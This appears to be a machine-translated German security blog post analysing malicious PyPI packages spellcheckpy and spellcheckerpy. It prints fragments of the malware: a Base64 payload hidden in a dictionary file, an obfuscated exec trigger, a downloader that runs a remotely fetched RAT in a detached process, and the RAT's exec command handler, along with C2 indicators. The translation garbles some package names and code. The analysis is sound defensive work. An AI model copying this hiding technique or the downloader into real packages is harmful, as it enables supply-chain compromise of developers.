Aikido

Bösartige PyPI-Pakete spellcheckpy und spellcheckerpy liefern Python-RAT

Charlie EriksenCharlie Eriksen
|
#
#
#

Am 20. und 21. Januar 2026 hat unsere Malware-Erkennungs-Pipeline zwei neue PyPI-Pakete gemeldet: Rechtschreibprüfung und RechtschreibprüfungBeide behaupteten, der rechtmäßige Autor der pyspellchecker-Bibliothek zu sein. Beide sind mit seinem echten GitHub-Repo verlinkt.

Sie gehörten ihm nicht.

In der Datei mit dem baskischen Wörterbuch war eine Base64-verschlüsselte Nutzlast versteckt, die ein voll funktionsfähiges Python-RAT herunterlädt. Der Angreifer veröffentlichte zunächst drei „ruhende“ Versionen, in denen die Nutzlast vorhanden war, aber kein Auslöser, und legte dann den Schalter um mit Rechtschreibprüfung v1.2.0, Hinzufügen eines verschleierten Ausführungsauslösers, der beim Importieren ausgelöst wird Rechtschreibprüfung.

Die Nutzlast, die sich in aller Öffentlichkeit versteckt

Die Malware-Autoren wurden kreativ. Anstelle der üblichen Verdächtigen (postinstall Skripte, verschleiert __init__.py)Sie haben die Nutzlast darin vergraben. Ressourcen/eu.json.gz, eine Datei, die rechtmäßig baskische Wortfrequenzen in der realen Sprache enthält. pyspellchecker Paket.

Hier ist die Extraktionsfunktion in utils.py:

def test_file(filepath: PathOrStr, encoding: str, index: str):
    filepath = f"{os.path.join(os.path.dirname(__file__), 'resources')}/{filepath}.json.gz"
    with gzip.open(filepath, "rt", encoding=encoding) as f:
        data = json.loads(f.read())
        return data[index]

Sieht harmlos aus. Aber wenn man mit test_file("eu", "utf-8", "Rechtschreibprüfung")Es ruft keine Wortfrequenzen ab. Es ruft einen Base64-verschlüsselten Downloader ab, der unter einem Schlüssel namens „spellchecker” zwischen den Wörterbucheinträgen versteckt ist.

Ruhend, dann tödlich

In den ersten drei Versionen wird die Nutzlast extrahiert und dekodiert ... aber nie ausgeführt:

test_index = test_file("eu", „utf-8”, „spellchecker”)
test_index = base64.b64decode(test_index).decode(„utf-8”)
# Daswar's schon. Kein exec(). Die Nutzlast bleibt einfach dort.

Eine geladene Waffe mit aktivierter Sicherung.

Dann kam Rechtschreibprüfung v1.2.0. Der Angreifer hat den Auslöser verschoben zu WordFrequency.__init__ und zusätzliche Verschleierung:

if eval(compile(base64.b64decode(test_file("eu", "utf-8", "spellchecker")).decode("utf-8"), 
                "<string>", 
                bytes.fromhex("65786563").decode("utf-8"))):
    self._evaluate = True

Sehen Sie es? Das bytes.fromhex("65786563") decodes to "Ausführung".

Anstatt zu schreiben ausführen() direkt, was statische Scanner melden würden, sie rekonstruieren die Zeichenfolge zur Laufzeit aus Hexadezimalzahlen. Import Rechtschreibprüfung, instanziieren Sie es, und die RAT wird ausgeführt.

Die RAT: Vollständige Fernsteuerung

Die Nutzlast der Stufe 1 ist ein Downloader. Er ruft die eigentliche Nutzlast von https://updatenet[.]work/settings/history.php und startet es in einem separaten Prozess:

p = subprocess.Popen(
    ["python3", "-"], 
    stdin=subprocess.PIPE, 
    stdout=subprocess.DEVNULL, 
    stderr=subprocess.DEVNULL,
    start_new_session=True)

p.stdin.write(downloaded_payload)
p.stdin.close()

Das start_new_session=True ist entscheidend: Die RAT bleibt auch nach Beendigung Ihres Skripts erhalten. Es werden keine Dateien auf die Festplatte geschrieben. Still. Unabhängig.

Der Stage-2-RAT ist ein voll ausgestatteter Remote-Access-Trojaner mit einigen interessanten Eigenschaften:

System-Fingerprinting bei der Initialisierung:

szObjectID = ''.join(random.choice(string.ascii_letters) für x in range(12))
szPCode = „Betriebssystem: “ + platform.platform()
szComputerName = „Computername: “ + socket.gethostname()

Zweischichtige XOR-Verschlüsselung für C2-Kommunikation: Der RAT verwendet einen 16-Byte-XOR-Schlüssel ([3, 6, 2, 1, 6, 0, 4, 7, 0, 1, 9, 6, 8, 1, 2, 5]) für die äußere Schicht, dann ein sekundäres XOR mit Schlüssel 123 für Befehlsnutzdaten. Nicht kryptografisch stark, aber ausreichend, um signaturbasierte Erkennung zu umgehen.

Benutzerdefiniertes Binärprotokoll: Befehle kommen zurück als [4-Byte-Befehls-ID][4-Byte-Länge][XOR-verschlüsselte Nutzlast]Die RAT analysiert dies, entschlüsselt es und versendet es weiter.

Ausführung beliebiger Codes: Wenn die Befehls-ID 1001 eintrifft, führt die RAT diesen einfach aus:

if nCMDID == 1001: 
    exec(szCode)

Anhaltende Beacon-Schleife:

Der RAT meldet sich alle 5 Sekunden bei https://updatenet[.]work/update1.php, wobei die Opfer-ID (Kampagne) gesendet wird

FD429DEABE) und wartet auf Befehle. Die SSL-Zertifikatsvalidierung wird über

ssl._create_unverified_context().

C2-Infrastruktur

Die C2-Domäne updatenet[.]work bezieht sich auf Infrastruktur, die nachweislich böswillige Aktivitäten beherbergt hat.

Domain-Registrierung:

  • Domain: updatenet[.]work
  • Registriert: 28. Oktober 2025 (etwa 3 Monate vor Veröffentlichung der Malware)

Hosting-Infrastruktur:

  • IP-Adresse: 172.86.73[.]139
  • ASN: AS14956 RouterHosting LLC
  • Standort: Dallas, Texas, USA
  • Zugehörige Domain: cloudzy.com
  • Netzwerk: 172.86.73.0/24

Warum das wichtig ist: RouterHosting LLC ist als Cloudzy tätig, ein Hosting-Anbieter, der umfassend als „Command-and-Control-Provider“ (C2P) dokumentiert ist. Im August 2023 veröffentlichte Halcyon einen Bericht mit dem Titel „Cloudzy with a Chance of Ransomware“, in dem festgestellt wurde, dass 40 bis 60 % des Datenverkehrs von Cloudzy bösartiger Natur waren. Der Bericht brachte die Infrastruktur von Cloudzy mit APT-Gruppen aus China, Iran, Nordkorea, Russland und anderen Ländern sowie mit Ransomware-Betreibern und einem sanktionierten israelischen Spyware-Anbieter in Verbindung.

Verbindung zu früheren Kampagnen

Dies ist kein Einzelfall. Im November 2025 HelixGuard dokumentierte einen ähnlichen Angriff. unter Verwendung des spellcheckers-Pakets (gleiches Ziel, anderer Name). Diese Kampagne verwendete dieselbe RAT-Struktur: XOR-Verschlüsselung, Befehls-ID 1001, exec(), jedoch eine andere C2-Infrastruktur (dothebest[.]storeDer HelixGuard-Bericht brachte diese Kampagne mit gefälschten Social-Engineering-Aktivitäten in Verbindung, die sich gegen Besitzer von Kryptowährungen richteten.

Unterschiedliche Domänen, dasselbe Vorgehen. Es scheint sich um genau denselben Angreifer zu handeln. 

Indikatoren für Kompromittierung

Pakete: spellcheckerpy (alle Versionen), spellcheckpy (alle Versionen)

C2-Infrastruktur:

  • updatenet[.]work
  • https://updatenet[.]work/settings/history.php (Lieferung Stufe 2)
  • https://updatenet[.]work/update1.php (Beacon-Endpunkt)
  • 172.86.73[.]139 (AS14956 RouterHosting LLC / Cloudzy)

Kampagnenkennungen:

  • Kampagnen-ID: FD429DEABE
  • XOR-Schlüssel: 03 06 02 01 06 00 04 07 00 01 09 06 08 01 02 05
  • Sekundäres XOR: 0x7B (123)

Nutzlastort:

Ressourcen/eu.json.gz, wichtige Rechtschreibprüfung

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.